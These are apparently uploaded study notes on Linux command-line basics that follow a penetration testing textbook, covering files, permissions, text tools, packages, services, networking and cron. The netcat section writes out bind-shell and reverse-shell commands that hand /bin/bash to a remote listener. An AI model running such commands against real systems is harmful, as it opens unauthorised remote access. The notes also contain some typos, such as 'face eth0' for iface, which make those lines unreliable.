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Linux Command

This document provides a comprehensive overview of essential Linux command-line operations, including file management, user privileges, and networking commands. It covers creating, copying, moving, and editing files, as well as managing installed packages and services. Additionally, it discusses automating tasks with cron jobs and using networking tools like netstat and netcat.

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salhamussa2001
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13 views4 pages

Linux Command

This document provides a comprehensive overview of essential Linux command-line operations, including file management, user privileges, and networking commands. It covers creating, copying, moving, and editing files, as well as managing installed packages and services. Additionally, it discusses automating tasks with cron jobs and using networking tools like netstat and netcat.

Uploaded by

salhamussa2001
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
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Download as PDF, TXT or read online on Scribd
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Linux Command-Line

Following Chapter 2 of Georgia Weidman's Penetration Testing book.

Listing Files and Directories


ls
ls -l
ls -a

File System
cd
cd ..
cd /
cd ~/Desktop

Man Pages
man ls
ls --help

User Privileges
adduser georgia
adduser georgia sudo
su geogia
adduser john
sudo adduser john
exit

Creating a New File or Directory


touch myfile
mkdir mydirectory
ls
cd mydirectory

Copying, Moving, and Removing Files


cp /root/myfile myfile2
ls
mv myfile2 myfile3
ls
rm myfile3

Adding Text to a File


echo hello georgia
echo hello georgia > myfile
cat myfile
echo hello georgia again > myfile
cat myfile
echo hello georgia a third time >> myfile
cat myfile

File Permissions
ls -l myfile

-rw-r--r-- 1 root root 6 Aug 25 18:42 myfile

Lrwxrwxrwx
u g o

chmod 777 myfile


ls -l myfile

-rwxrwxrwx 1 root root 6 Aug 25 18:42 myfile

Editing Files
nano testfile

^W Search

vi testfile

:wq

Data Manipulation
1 Derbycon September
2 Shmoocon January
3 Brucon September
4 Blackhat July
5 Bsides *
6 HackerHalted October
7 Hackcon April

grep September myfile


grep September myfile | cut -d " " -f 2

sed 's/Blackhat/Defcon/' myfile


awk '$1 >5' myfile
awk '{print $1,$3;}' myfile

Managing Installed Packagess


Before "apt-get install", always do an update to get the latest list of available packages:
apt-get update

apt-get install armitage


This will upgrade all installed packages to the latest version:
apt-get upgrade
Repositories are in:
/etc/apt/sources.list

Processes and Services


To see running processes:
top
ps aux
To control services:
service apache2 start
service mysql stop
service networking restart

Managing Networking
ifconfig
ip addr show
route
ifconfig eth0 down
ifconfig eth0 up
ifconfig eth0 up promisc
To renew DHCP address:
dhclient -v
dhclient eth0
To set a static IP address temporarily:
ifconfig eth0 192.168.1.100/24
To remove all addresses:
ip addr flush dev eth0
To set a static IP address persistently:
nano /etc/network/interfaces

auto eth0
face eth0 inet static
address 192.168.20.9 netmask 255.255.255.0
gateway 192.168.20.1
Viewing Network Connections
netstat -antp

Netcat

Connect to a listening service:


nc 147.144.1.2 22
Listen on a port:
nc -lvp 1234
Open a Command Shell Listener (aka Bind Shell):
nc -lvp 1234 -e /bin/bash
Pushing a Command Shell Back to Listener (aka Reverse Shell):

First start a listener:

nc -lvp 1234
Push a shell to the listener:
nc 192.168.1.100 1234 -e /bin/bash
See 10 Useful IP Commands to Configure Network Interfaces

Automating Tasks with cron Jobs


ls /etc | grep cron
crontab -l
crontab -e

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